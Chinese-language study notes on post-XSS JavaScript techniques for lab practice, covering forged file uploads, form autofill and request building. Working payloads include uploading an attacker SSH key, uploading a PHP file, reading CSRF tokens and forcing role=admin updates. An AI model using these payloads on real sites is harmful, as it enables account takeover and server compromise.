HTTP请求
JavaScript可以直接在浏览器上发起HTTP请求
POST/GET请求
一个 HTTP 请求通常由三部分组成:
请求行
请求头
请求体
例如:
POST /admin/enable_ssh HTTP/1.1
Host: admin.example.local
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=xxxx
Submit=Enable+SSH
可以拆成:
POST 请求方法
/admin/enable_ssh 请求路径
Host 目标主机
Content-Type 请求体格式
Cookie 当前用户的登录凭据
Submit=Enable+SSH 请求体内容
JavaScript 写法:
fetch('/admin',{
method: 'POST',
body: fd
});
文件上传操作
在 XSS 后利用中,JavaScript 可以模拟浏览器文件上传请求。
常见用途:
1. 上传 SSH 公钥
2. 上传配置文件
3. 上传头像文件
4. 上传普通文本文件
5. 复现后台文件上传表单请求核心对象:
FormData:模拟表单数据
Blob:把字符串内容构造成“文件内容”
File:更像真实文件对象
fetch / XMLHttpRequest:发送 HTTP 请求文件上传的 HTTP 本质
普通文件上传表单一般长这样:
<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="Submit" value="Submit">
</form>提交后,本质是发送:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----xxx
------xxx
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
hello world
------xxx
Content-Disposition: form-data; name="Submit"
Submit
------xxx--所以 JavaScript 要做的事情就是:
1. 创建表单数据 FormData
2. 构造文件内容 Blob / File
3. 把文件加入 FormData
4. 发送 POST 请求使用 Blob 构造文件上传
let content = 'hello world';
let fileBlob = new Blob([content], {
type: 'text/plain'
});
let fd = new FormData();
fd.append('file', fileBlob, 'test.txt');
fd.append('Submit', 'Submit');
fetch('/upload', {
method: 'POST',
body: fd
});解释:
content 文件内容
Blob 把字符串包装成文件数据
type 文件 MIME 类型
FormData 模拟 multipart/form-data 表单
fd.append('file', ...) file 是上传字段名
test.txt 上传时显示的文件名重点是这一句:
fd.append('file', fileBlob, 'test.txt');它等价于表单里的:
<input type="file" name="file">其中:
file 参数名
fileBlob 文件内容
test.txt 文件名上传 SSH 公钥示例
例如后台有一个上传 SSH 公钥的接口:
POST /key
字段名:file
文件名:id_rsa.pub
额外字段:Submit=Submit可以这样写:
let sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxxxx attacker';
let fileBlob = new Blob([sshKeyContent], {
type: 'application/octet-stream'
});
let fd = new FormData();
fd.append('file', fileBlob, 'id_rsa.pub');
fd.append('Submit', 'Submit');
fetch('/key', {
method: 'POST',
body: fd
});如果用 XMLHttpRequest 写法:
var xhr = new XMLHttpRequest();
var fd = new FormData();
var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxxxx attacker';
var fileBlob = new Blob([sshKeyContent], {
type: 'application/octet-stream'
});
fd.append('file', fileBlob, 'id_rsa.pub');
fd.append('Submit', 'Submit');
xhr.open('POST', '/key', true);
xhr.send(fd);注意:为什么不用手动设置 Content-Type
文件上传时不要这样写:
fetch('/upload', {
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data'
},
body: fd
});原因是 multipart/form-data 需要 boundary,例如:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx这个 boundary 由浏览器自动生成。
所以正确写法是:
fetch('/upload', {
method: 'POST',
body: fd
});浏览器会自动设置:
Content-Type: multipart/form-data; boundary=...Blob 和 File 的区别
Blob
Blob 只表示一段文件内容。
let blob = new Blob(['hello'], {
type: 'text/plain'
});上传时需要在 append() 里指定文件名:
fd.append('file', blob, 'test.txt');File
File 更像真实文件,包含文件名。
let file = new File(['hello'], 'test.txt', {
type: 'text/plain'
});
let fd = new FormData();
fd.append('file', file);这两种都可以用于文件上传。
XSS 打靶里更常见的是 Blob,因为写法简单。
从现有文件 input 上传
如果页面本身有文件上传框:
<input type="file" id="avatar" name="avatar">JavaScript 可以读取用户已经选择的文件:
let input = document.querySelector('#avatar');
let file = input.files[0];
let fd = new FormData();
fd.append('avatar', file);
fetch('/upload', {
method: 'POST',
body: fd
});但是浏览器安全机制不允许 JavaScript 随便读取本地文件路径。
也就是说,不能这样:
fd.append('file', '/home/user/.ssh/id_rsa');浏览器不会允许 JS 直接读取任意本地文件。
在 XSS 利用中,如果要上传文件,一般是:
攻击者自己构造文件内容 → Blob → FormData → 上传而不是读取受害者本地磁盘文件。
带普通字段的文件上传
很多上传接口除了文件,还需要其他字段。
例如:
file=文件
title=test
type=public
Submit=UploadJavaScript:
let content = 'hello world';
let blob = new Blob([content], {
type: 'text/plain'
});
let fd = new FormData();
fd.append('file', blob, 'test.txt');
fd.append('title', 'test');
fd.append('type', 'public');
fd.append('Submit', 'Upload');
fetch('/upload', {
method: 'POST',
body: fd
});带 CSRF Token 的文件上传
如果上传表单里有 CSRF Token:
<input type="hidden" name="csrf" value="abc123">请求中也必须带上:
let token = document.querySelector('input[name="csrf"]').value;
let blob = new Blob(['hello world'], {
type: 'text/plain'
});
let fd = new FormData();
fd.append('csrf', token);
fd.append('file', blob, 'test.txt');
fd.append('Submit', 'Upload');
fetch('/upload', {
method: 'POST',
body: fd
});如果 XSS 代码和目标页面同源,通常可以直接读取页面里的 CSRF Token。
所以:
CSRF Token 可以防 CSRF
但不一定能防 XSS上传 JSON 伪装文件
如果目标接口要求上传 .json 文件:
let jsonContent = JSON.stringify({
username: 'test',
role: 'admin'
});
let blob = new Blob([jsonContent], {
type: 'application/json'
});
let fd = new FormData();
fd.append('file', blob, 'config.json');
fetch('/upload', {
method: 'POST',
body: fd
});上传 PHP 文件示例
靶场中有时会测试文件上传漏洞,例如上传 .php 文件。
let phpContent = '<?php echo "test"; ?>';
let blob = new Blob([phpContent], {
type: 'application/x-php'
});
let fd = new FormData();
fd.append('file', blob, 'test.php');
fd.append('Submit', 'Upload');
fetch('/upload', {
method: 'POST',
body: fd
});是否能成功执行,取决于服务端:
1. 是否允许上传 PHP 后缀
2. 是否检查 MIME 类型
3. 是否重命名文件
4. 上传目录是否可执行
5. Web 服务是否解析该目录下的 PHPJavaScript 只负责上传,真正是否能利用取决于后端配置。
使用 XMLHttpRequest 上传并监听结果
如果想知道上传是否成功,可以监听返回状态。
let blob = new Blob(['hello world'], {
type: 'text/plain'
});
let fd = new FormData();
fd.append('file', blob, 'test.txt');
let xhr = new XMLHttpRequest();
xhr.onload = function () {
console.log('status:', xhr.status);
console.log('response:', xhr.responseText);
};
xhr.open('POST', '/upload', true);
xhr.send(fd);常见状态码:
200 成功
302 跳转
400 参数错误
403 权限不足 / CSRF 校验失败
404 路径错误
500 服务端错误表单
一个普通表单可能长这样:
<form action="/admin/update" method="POST">
<input type="text" name="username">
<input type="hidden" name="csrf" value="abc123">
<input type="submit" name="Submit" value="Update">
</form>
重点看这几个属性:
action 表单提交地址
method 提交方法,GET / POST
name 参数名
value 参数值
type 输入类型
这个表单提交后,本质上会产生请求:
POST /admin/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=xxx&csrf=abc123&Submit=Update
所以表单的核心是:
input 的 name 变成参数名
input 的 value 变成参数值
form 的 action 变成请求路径
form 的 method 变成请求方法
获取表单元素
常用方法:
document.querySelector('form')
document.querySelector('#login')
document.querySelector('input[name="username"]')
document.querySelector('button[type="submit"]')
例如:
<form id="login">
<input name="username">
<input name="password">
<button type="submit">Login</button>
</form>
JavaScript 获取:
let form = document.querySelector('#login');
let user = document.querySelector('input[name="username"]');
let pass = document.querySelector('input[name="password"]');
let btn = document.querySelector('button[type="submit"]');
修改 input 的值
文本框:
document.querySelector('input[name="username"]').value = 'admin';
密码框:
document.querySelector('input[name="password"]').value = '123456';
隐藏字段:
document.querySelector('input[name="csrf"]').value;
textarea:
document.querySelector('textarea[name="content"]').value = 'hello';
select:
document.querySelector('select[name="role"]').value = 'admin';
checkbox:
document.querySelector('input[name="agree"]').checked = true;
radio:
document.querySelector('input[value="admin"]').checked = true;
触发 input / change 事件
有些页面不是只看 .value,而是监听输入事件。
例如页面可能有:
input.addEventListener('input', function () {
console.log('内容变化');
});
这时只写:
input.value = 'test';
可能不够,因为事件没有触发。
需要手动触发:
let input = document.querySelector('input[name="username"]');
input.value = 'admin';
input.dispatchEvent(new Event('input', {
bubbles: true
}));
input.dispatchEvent(new Event('change', {
bubbles: true
}));
常见需要触发的事件:
input 输入内容变化
change 表单值变化
click 点击按钮
submit 提交表单
focus 获得焦点
blur 失去焦点
在普通 HTML 页面中,.value 后直接提交通常就行。
在 React / Vue / Angular 页面中,很多时候需要触发 input 或 change 事件。
点击按钮提交
最常见写法:
document.querySelector('button[type="submit"]').click();
按 id 点击:
document.querySelector('#submit').click();
按按钮文字查找:
[...document.querySelectorAll('button')]
.find(btn => btn.innerText.includes('Submit'))
.click();
也可以找 input submit:
document.querySelector('input[type="submit"]').click();
例如:
document.querySelector('input[name="username"]').value = 'admin';
document.querySelector('input[name="password"]').value = '123456';
document.querySelector('button[type="submit"]').click();
form.submit() 和 button.click() 的区别
直接提交表单:
document.querySelector('form').submit();
点击提交按钮:
document.querySelector('button[type="submit"]').click();
区别:
button.click()
更像真实用户点击按钮
会触发 click 事件
通常也会触发表单 submit 事件
form.submit()
直接提交表单
不一定触发 submit 事件
可能绕过前端 submit 监听逻辑
所以打靶时优先尝试:
document.querySelector('button[type="submit"]').click();
如果只是想强制提交,可以用:
document.querySelector('form').submit();
现代浏览器还可以用:
document.querySelector('form').requestSubmit();
requestSubmit() 比 submit() 更接近正常表单提交,会触发表单校验和 submit 事件。
触发 submit 事件
如果页面 JS 监听了 submit:
form.addEventListener('submit', function (e) {
console.log('提交表单');
});
可以手动触发:
let form = document.querySelector('form');
form.dispatchEvent(new Event('submit', {
bubbles: true,
cancelable: true
}));
但是要注意:
dispatchEvent(new Event('submit')) 只是触发事件
不一定真的发送 HTTP 请求
真正提交一般还是用:
form.submit();
或者:
form.requestSubmit();
或者:
button.click();
等待表单加载完成
有些代码执行得太早,表单还没有加载出来。
可以延迟执行:
setTimeout(() => {
document.querySelector('button[type="submit"]').click();
}, 1000);
也可以等 DOM 加载完成:
document.addEventListener('DOMContentLoaded', () => {
document.querySelector('button[type="submit"]').click();
});
如果页面是异步加载,可以轮询等待:
let timer = setInterval(() => {
let form = document.querySelector('form');
let btn = document.querySelector('button[type="submit"]');
if (form && btn) {
clearInterval(timer);
btn.click();
}
}, 500);
这类写法在打靶里很常见。
自动填表并点击提交
假设页面表单如下:
<form action="/profile" method="POST">
<input name="email">
<textarea name="bio"></textarea>
<button type="submit">Save</button>
</form>
自动填表:
let email = document.querySelector('input[name="email"]');
let bio = document.querySelector('textarea[name="bio"]');
let btn = document.querySelector('button[type="submit"]');
email.value = 'test@example.com';
bio.value = 'hello';
email.dispatchEvent(new Event('input', { bubbles: true }));
bio.dispatchEvent(new Event('input', { bubbles: true }));
btn.click();
如果按钮晚点出现:
let timer = setInterval(() => {
let email = document.querySelector('input[name="email"]');
let bio = document.querySelector('textarea[name="bio"]');
let btn = document.querySelector('button[type="submit"]');
if (email && bio && btn) {
clearInterval(timer);
email.value = 'test@example.com';
bio.value = 'hello';
email.dispatchEvent(new Event('input', { bubbles: true }));
bio.dispatchEvent(new Event('input', { bubbles: true }));
btn.click();
}
}, 500);
直接构造一个隐藏表单提交
有时候页面没有现成表单,也可以用 JavaScript 创建表单。
let form = document.createElement('form');
form.method = 'POST';
form.action = '/admin/update';
let input = document.createElement('input');
input.name = 'role';
input.value = 'admin';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
多个参数:
let form = document.createElement('form');
form.method = 'POST';
form.action = '/admin/update';
let params = {
username: 'test',
role: 'admin',
Submit: 'Update'
};
for (let key in params) {
let input = document.createElement('input');
input.name = key;
input.value = params[key];
form.appendChild(input);
}
document.body.appendChild(form);
form.submit();
这种方式本质上是模拟普通 HTML 表单提交。
表单转 FormData
如果页面已经有一个表单,可以直接用 FormData 读取它:
let form = document.querySelector('form');
let fd = new FormData(form);
fetch(form.action, {
method: form.method,
body: fd
});
也可以在原表单基础上修改字段:
let form = document.querySelector('form');
let fd = new FormData(form);
fd.set('username', 'admin');
fd.set('role', 'admin');
fetch(form.action, {
method: form.method,
body: fd
});
常用方法:
fd.append(name, value) 添加字段
fd.set(name, value) 设置字段
fd.get(name) 获取字段
fd.delete(name) 删除字段
FormData 转普通 POST 请求
如果目标接口使用:
Content-Type: application/x-www-form-urlencoded
可以这样构造:
let data = new URLSearchParams();
data.append('username', 'admin');
data.append('role', 'admin');
data.append('Submit', 'Update');
fetch('/admin/update', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data.toString()
});
结果类似:
username=admin&role=admin&Submit=Update
也可以从表单直接转换:
let form = document.querySelector('form');
let data = new URLSearchParams(new FormData(form));
fetch(form.action, {
method: form.method,
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data.toString()
});
读取 CSRF Token
很多表单里有隐藏 token:
<input type="hidden" name="csrf" value="abc123">
读取方式:
let token = document.querySelector('input[name="csrf"]').value;
然后放入请求:
let data = new URLSearchParams();
data.append('csrf', token);
data.append('Submit', 'Update');
fetch('/admin/update', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data.toString()
});
如果使用 FormData:
let fd = new FormData();
fd.append('csrf', token);
fd.append('Submit', 'Update');
fetch('/admin/update', {
method: 'POST',
body: fd
});
获取表单 action 和 method
可以自动读取表单的提交地址和方法:
let form = document.querySelector('form');
console.log(form.action);
console.log(form.method);
示例:
let form = document.querySelector('form');
let fd = new FormData(form);
fetch(form.action, {
method: form.method || 'POST',
body: fd
});
注意:
form.action 通常会变成完整 URL
form.method 通常是 get 或 post
如果 method 为空,HTML 表单默认是 GET。